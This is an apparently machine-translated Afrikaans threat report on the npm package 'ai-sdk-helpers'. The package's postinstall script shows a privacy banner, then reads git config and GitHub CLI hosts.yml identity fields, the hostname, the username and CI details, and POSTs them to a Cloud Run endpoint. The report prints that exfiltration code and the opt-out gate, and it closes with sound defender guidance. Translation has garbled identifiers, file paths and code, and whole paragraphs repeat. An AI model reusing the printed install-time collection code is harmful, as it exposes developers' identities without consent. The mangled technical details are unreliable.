TL; DR
'n Enkele npm-pakket, ai-sdk-helpers, bied homself aan as 'n produksiehulpmiddel vir die Vercel KI SDK, wat kosteopsporing, verskafferterugval en stroomhulpmiddels bied.
Die installasietyd-skrip maak oop met 'n gepoleerde openbaarmakingsbanier wat beskryf anonieme diagnostiek, wat belowe dat geen bronkode, tokens of geloofsbriewe oorgedra word nie, en eerbiedig 'n DO_NOT_TRACK uitsluiting, en skakel na 'n telemetriebeleidbladsy.
Dieselfde skrip lees dan die ontwikkelaar se git-identiteit, GitHub CLI-konfigurasie, masjiengasheernaam, OS-gebruikersnaam, werkgids en CI-verskaffer.
Daardie data word as JSON na 'n Google Cloud Run-eindpunt gepos, wat 'n duidelike wanverhouding skep tussen die verklaarde telemetriebeleid en die werklike velde wat versamel word.
Die pakket is in twee-en-twintig weergawes binne 'n enkele 83-sekonde-uitbarsting gepubliseer, en die installasieskrip is greep-vir-greep identies oor elke gemerkte weergawe.
Sewe van die agt weergawes wat deur ons hersien is pipeline is as onbeslis deur die ML-klassifiseerder beoordeel omdat die toestemmingsbanierstyl soos wettige telemetrie lees.
Ons klassifiseer ai-sdk-helpers as kwaadwillig gebaseer op ontwikkelaaridentiteitsversameling en eksfiltrasie tydens installasie.
Ernstigheid: hoog.
Anatomie van die installasie
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } na-installasie loop outomaties aan npm installeer, voordat enige van die pakket se geadverteerde kode ooit ingevoer word. Die skrip scripts/postinstall.js is waar al die installasietyd-gedrag woon.
Dit begin met 'n kommentaarblok en 'n looptydkennisgewing wat in die register van 'n privaatheidsbewuste oopbronprojek geskryf is:
>Wanneer jy ai-sdk-helpers installeer, voer ons 'n vinnige omgewingversoenbaarheidstoets uit en rapporteer anonieme diagnostiek... Die data is volledig anoniem — ons versamel jou platform, Node-weergawe en 'n eenrigting-hash van jou masjienidentifiseerder. Geen bronkode, tokens of geloofsbriewe word ooit oorgedra nie.
Dit koppel selfs 'n werkende uitskakelhek aan, die eerste uitvoerbare kode in die lêer:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Om hierdie hek eerste vas te maak, is wat die res as konsensueel laat lees: 'n ontwikkelaar wat stel `D_NIE_SPOORRING` sien die installasie stilweg voltooi en sluit af dat die pakket die konvensie eerbiedig. Die geëerde uitsluiting is werklik. Wat dit oopmaak, vir almal wat dit nie stel nie, is die versameling wat hieronder beskryf word — nie die nouer "platform, Node-weergawe en 'n eenrigting-hash" wat die kennisgewing noem nie.
Onder daardie hek stel die skrip 'n vrag saam wat verby daardie beskrywing gaan.
- *Gt identiteit.* rlosScmIdentiteit()` koppe `~.gitconfig`,`~.config/git/config`,en die huidige projek se `.dit/konfigurasie`,ontleed die `[ser]` afdeling, en gee die gekonfigureerde terug commit e-pos. Indien geen konfigurasielêer 'n e-pos oplewer nie, val dit terug na die `G`T_OUTOR_E-POS`,`GT_COMMITTER_E-POS`,en `EAIL` omgewingsveranderlikes. 'n Dokumentstring bokant die funksie raam die leesstuk as 'n manier "om installasies oor masjiene wat deur dieselfde persoon besit word (bv. skootrekenaar + KI) te deduplikeer" - 'n verklaarde doel wat 'n stabiele per-ontwikkelaar-identifiseerder vereis, wat 'n commit e-pos voorrade.
- *GtHub-rekening.* rlosGitHubIdentity() op koppe `~.config/gh/hosts.yml` en `~.config/gh/hosts.yaml` die konfigurasielêer wat deur die GitHub CLI geskryf word wanneer 'n ontwikkelaar verifieer — en regex-onttrek die `uuh:` en `esiek:` veld. Daardie lêer stoor ook die GitHub OAuth-token; die skrip se regex teiken spesifiek die gebruikersnaam- en e-posreëls en onttrek nie die token nie. Die openbaarmakingsbanier se bewering "geen tokens ... word ooit oorgedra nie" is dus letterlik waar vir daardie een veld terwyl die omliggende rekeningidentifiseerders gelees en gestuur word.
- *Hst en CI vingerafdruk.* die skrif versamel dan `o.gasheernaam()`,`o.gebruikersInligting().gebruikersnaam`,die Node-weergawe, platform en argitektuur, `pocess.cwd()`,en 'n CI-verskaffer-etiket wat opgelos is deur omgewingveranderlikes vir agt verskaffers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, en twee generiese-CI-vlae) na te gaan. Die verskafferlys lees as 'n inventaris van waar die skrip verwag om uit te voer - interaktiewe doppe en outomatiese bou. pipelineis eenders.
Al hierdie word in 'n enkele `d` gegroepeer.agnostici objek, met die velde per ontwikkelaar wat onder 'n `i` versamel isentiteit ey en die gasheerdata onder `rntyd en `cnteks` oë, dan geserialiseer en oorgedra:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Die reaksie word weggegooi en alle foute word ingesluk — 'n opmerking merk op dat "telemetrie nooit die installasie mag onderbreek nie." Die eindpunt-gasheernaam kodeer 'n Google Cloud Run-diens in die `etou-wes1` streek.
Die gaping is die storie. Die banier noem drie kategorieë data - platform, Node-weergawe, masjien-identifiseerder-hash. Die vrag stuur 'n ontwikkelaar se regte git. commit e-pos, hul GitHub-gebruikersnaam en e-pos, hul masjien se gasheernaam en OS-rekeningnaam, hul projekpad en hul CI-omgewing. Die velde wat 'n *p identifiseerrson en hul rekeninge* is presies die velde wat die openbaarmaking weglaat.
Die README versterk die raamwerk van die ander kant af. Die "Telemetrie"-afdeling herhaal die anonimiteitseis en skakel die woord `D_NIE_SPOORRING` o`cnsoledonottrack.com`,die werklike gemeenskapsblad wat die uitsluitingskonvensie dokumenteer — leen 'n erkende privaatheid standard om die kennisgewing as roetine te laat lees.
Tydlyn
Hierdie is 'n enkelpakket-vonds met 'n baie kort, baie digte publikasiegeskiedenis. Daar is geen veldtogboog van meer as een week om na te spoor nie – die hele weergawereeks is teen masjienspoed gestoot.
| Wanneer (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Eerste weergawe (0.1.0) gepubliseer aan npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Al 22 weergawes (0.1.0 deur 1.4.2) gepubliseer in 'n outomatiese uitbarsting van 83 sekondes. |
| 2026-06-04 | Agt weergawes gemerk deur opsporingsseine; handmatige analise bevestig identiteitsversameling en eksfiltrasie tydens installasie. Pakket het ten tyde van analise lewendig op npm gebly. |
Die 83-sekonde venster oor 22 semantiese weergawes is self 'n gedragsaanwyser: die weergawe-leer (`01.0`,`01.1`,… `14.2`)bied die oppervlak van 'n aktief onderhoude projek met 'n vrystellingsgeskiedenis, geproduseer in een geskrewe lopie. Die installasieskrip verander nie oor daardie leer nie - sien hieronder.
Aanwysers van kompromie
Die installasietyd-vrag is identies oor die gepubliseerde weergawereeks.ff` f`sripts/postinstall.js` tussen weergawe `02.1 ' de weergawe `14.2 ' gee geen verskille terug nie; die gedrag is een vaste vingerafdruk, nie 'n ontwikkelende vrag nie.
Netwerk
Die 83-sekonde venster oor 22 semantiese weergawes is self 'n gedragsaanwyser: die weergawe-leer (`01.0`,`01.1`,… `14.2`)bied die oppervlak van 'n aktief onderhoude projek met 'n vrystellingsgeskiedenis, geproduseer in een geskrewe lopie. Die installasieskrip verander nie oor daardie leer nie - sien hieronder.
Aanwysers van kompromie
Die installasietyd-vrag is identies oor die gepubliseerde weergawereeks.ff` f`sripts/postinstall.js` tussen weergawe `02.1 ' de weergawe `14.2 ' gee geen verskille terug nie; die gedrag is een vaste vingerafdruk, nie 'n ontwikkelende vrag nie.
Netwerk
| Indicator | Rol |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Eksfiltrasie-eindpunt wat HTTPS POST-versoeke met JSON-vragte ontvang. Gehuisves op Google Cloud Run in die europe-west1 streek. |
Lokmiddel-infrastruktuur
| Indicator | Rol |
|---|---|
ai-sdk.guide | Pakkettuisblad en lewendige webwerf wat die outeuridentiteit van die "KI SDK-gids" ondersteun. |
ai-sdk.guide/telemetry | Telemetriebeleid-URL waarna verwys word in die installasietyd-openbaarmakingskennisgewing. |
hello@ai-sdk.guide | Outeur se e-posadres verklaar in package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Bronbewaarplek wat deur die pakket verklaar is. |
Lêers gelees tydens installasie
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pos
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI-kodeer` `esiek
Gedragshandtekeninge
- – m`pinstallasie ook roep 'n gebundelde Node-skrip aan
- – uitsluitingshek (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NIE_SPOORREK`)aangebied as 'n privaatheidsfunksie, voor identiteitsinsameling
- – tbound HTTPS POST van 'n JSON-objek wat git-e-pos, GitHub-identiteit, gasheernaam, OS-gebruikersnaam, cwd en CI-etiket bevat
- – te-identiese installasieskrip oor 'n vinnig gepubliseerde weergawe-leer
Toeskrywing en waargenome gedrag
Ons skryf niks toe buiten wat die pakket en registermetadata aanteken nie.
Die npm-rekordhouer is die rekening `aielsimon`,met die adres `aiel@vigilance.security`.Die register lys daardie e-pos as ongeverifieer en die rekening se bronbeheer-identiteit as ongeverifieer. Die `pckage.json`,afsonderlik, bied die outeur aan as "KI SDK-gids"ello@ai-sdk.gids>`”met 'n tuisblad van `a-sdk.gids` en 'n bronbewaarplek onder 'n `gthub.com/ai-sdk-guide` organisasie. Die publiseringsrekening se e-posdomein (`vigilance.security`)en die outeuridentiteit in die pakket (`a-sdk.gids`)is verskillende domeine.
Die `a-sdk.gids` ite is lewendig en reageer, en die `/elementetrie ath los op — die lokmiddel-identiteit word gerugsteun deur 'n bereikbare webteenwoordigheid eerder as 'n dooie skakel, wat die geloofwaardigheid van die pakket se raamwerk verhoog.
**Waargenome vermoë.** Tydens installasie lees die pakket ontwikkelaaridentiteit- en rekeningkonfigurasielêers, neem vingerafdrukke van die gasheer- en KI-omgewing, en stuur die resultaat na 'n operateur-beheerde eindpunt, terwyl 'n kennisgewing vertoon word wat 'n nouer en geanonimiseerde datastel beskryf. Ons beskryf hierdie gedrag; ons beweer nie 'n motief daarvoor nie. Lesers wat die pakket evalueer – insluitend enige party wat die publiserende identiteit herken – moet die waarneembare wanverhouding tussen die vermelde en werklike datavloei oorweeg.
Impak, tendense en leiding vir verdedigers
Wie word blootgestel. Enigiemand wat installeer ai-sdk-helpers — direk of as 'n oorganklike afhanklikheid — laat die versameling op daardie masjien loop. Omdat die sneller is na-installasie, die geadverteerde biblioteekkode hoef nooit ingevoer te word vir die datavloei om plaas te vind nie; die installasie alleen is voldoende. Die omgewings met die hoogste waarde is ontwikkelaarswerkstasies met 'n gekonfigureerde git-identiteit en 'n geverifieerde GitHub CLI, en CI-lopers, waar die skrip se CI-verskaffer-opsporing aandui dat die versameling na verwagting binne die bouproses sal loop. pipelines sowel as op skootrekenaars.
Wat dit blootstel. Nie toepassingsgeheime in die algemene geval nie — die vrag fokus op identiteitdie ontwikkelaar se commit e-pos, hul GitHub-rekeningnaam en e-pos, die masjien- en rekeningname, en die projekpad. Dit is 'n voorvereistecis'n Kaart van wie die pakket geïnstalleer het, op watter masjien, in watter bewaarplek, en onder watter CI-stelsel. Vir 'n organisasie sou 'n handjievol sulke rekords saamgevat aandui watter ingenieurs en watter boustelsels die afhanklikheid getrek het – nuttig as 'n voorloper tot meer geteikende opvolgaktiwiteit, selfs al stop hierdie pakket se eie gedrag by versameling en oordrag.
Die tendens: telemetrie as dekmantel. Wettige ontwikkelaarsinstrumente versamel wel geanonimiseerde installasiediagnostiek, en die konvensies om dit respekvol te doen - 'n openbaarmakingskennisgewing, 'n MOENIE_NASPOR eer, 'n uitsluitingsvlag, 'n beleids-URL — is welbekend. ai-sdk-helpers reproduseer al vier daardie konvensies getrou en gebruik dit as die omhulsel vir identiteitsversameling. Die teenwoordigheid van 'n toestemmingsbanier, 'n werkende uitsluitingsvorm of 'n skakel na die privaatheidsbeleid is nie bewys dat 'n pakket betroubaar is nie; daardie kontroles is goedkoop om na te boots. Die enigste betroubare kontrole is wat die kode eintlik lees en waarheen dit dit eintlik stuur.
Hierdie verpakking het ook 'n meetbare effek op outomatiese triage. Oor die weergawes heen het ons pipeline hersien, die installasieskrip se gewone taal kommentaar, gestruktureerde veldname en konvensionele uitsluitingshek is as gewone telemetrie gegradeer: sewe van die agt het teruggekom onbeslis van die ML-klassifiseerder eerder as kwaadwillig. Die sein wat die dubbelsinnigheid oplos, is nie in die prosa nie — dit is in die spesifieke lêers wat die skrip oopmaak (~/.gitconfig, ~/.config/gh/hosts.yml) en die bestemming waarheen dit stuur. 'n Hersiener, outomaties of menslik, wat die openbaarmaking lees en daar stop, sal tot die verkeerde gevolgtrekking kom; die bepaling moet uit die datavloei-feite kom.
Leidraad vir verdedigers:
- Installeer met skripte standaard gedeaktiveer — npm installeer –ignore-skripte, of stel ignoreer-skrifte=waar in .npmrc en voer geverifieerde boustappe eksplisiet uit. Dit neutraliseer na-installasie-geaktiveerde insameling oor die hele linie.
- Moenie uitsluitingskontroles as vertrouensseine beskou nie. MOENIE_NASPOR 'n tjek of 'n "telemetriebeleid"-skakel vertel jou niks oor die data wat 'n skrip insamel wanneer die hek nie ingestel is nie.
- Lees die installasiehaak voordat u KI-ekosisteem-helperpakkette aanneem. Die Vercel KI SDK-ruimte is 'n vinnig bewegende, hoë-vertroue teiken; a na-installasie wat raak ~/.gitconfig or ~/.config/gh/ is 'n duidelike sein ongeag hoe die omliggende kommentare geskryf is.
- Monitor uitgaande aksie tydens boutyd. 'n Uitgaande HTTPS POST gedurende npm installeer, veral na 'n vars voorsiene wolkfunksie-eindpunt, is waarneembaar by die netwerklaag en is 'n sterk opsporingspunt vir CI-omgewings.
- Wees op die uitkyk vir saamgeperste weergawe-ladders. 'n Pakket waarvan die hele semantiese weergawegeskiedenis binne sekondes verskyn, met 'n onveranderlike installasieskrip, bied 'n vervaardigde onderhoudsgeskiedenis aan.





